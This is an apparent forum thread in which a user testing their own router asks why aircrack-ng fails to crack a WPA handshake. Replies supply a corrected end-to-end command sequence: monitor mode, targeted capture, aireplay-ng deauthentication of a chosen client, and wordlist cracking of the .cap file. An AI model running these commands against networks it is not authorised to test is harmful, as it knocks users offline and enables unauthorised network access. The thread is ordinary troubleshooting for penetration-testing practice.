instead of
aircrack-ng -w /root/dekstop/wordlist.lst WPA1-01.ivs
use
aircrack-ng -w /root/dekstop/wordlist.lst WPA1*.cap
Im fairly new to this but i have been trying to breach my wifi using aircrack. What is weird that i get a handshake and when i try to decode it using the wordlist even tho i know my password which is 12345678 on my test router is in there it wont find the correct password.
Here is what i write
airmon-ng start wlan0
airodump-ng mon0
airodump-ng -c 1 -w WPA1 --bssid B8:A3:86:B6:20:E5 --ivs mon0
aireplay-ng -0 1 -e homenetwork mon0
aircrack-ng -w /root/dekstop/wordlist.lst WPA1-01.ivs
Were do i go wrong?
instead of
aircrack-ng -w /root/dekstop/wordlist.lst WPA1-01.ivs
use
aircrack-ng -w /root/dekstop/wordlist.lst WPA1*.cap
I think your last command is incorrect:
Wpa handshake is not located inside WPA-01.ivsaircrack-ng -w /root/dekstop/wordlist.lst WPA1-01.ivs
It is located inside WPA-01.cap
Here is what you should do (with comments):
Good luck!airmon-ng start wlan0
airodump-ng -c 1 -w WPA1 --bssid B8:A3:86:B6:20:E5 mon0 // I removed --ivs option here, ( if you use it your handshake will be incomplete )
aireplay-ng -0 5 -a B8:A3:86:B6:20:E5 -c "client MAC address being deauthenticated" mon0 // --deauth option have more effect when targeting specific client
aircrack-ng -w /root/dekstop/wordlist.lst *.cap // cracking files with *.cap extension. (capture files) it's the same as aircrack-ng -w /root/dekstop/wordlist.lst WPA1-01.cap

ok i had this exact same problem and i tried both the solutions on this page and they didn't work. i found the solution. I am running bt5 r2 and this normally comes with darkc0de.lst. I downloaded the some other password lists online and they came as "pw list1.txt. i changed the name to darkc0de2.lst and the problem went away. hope that helps.
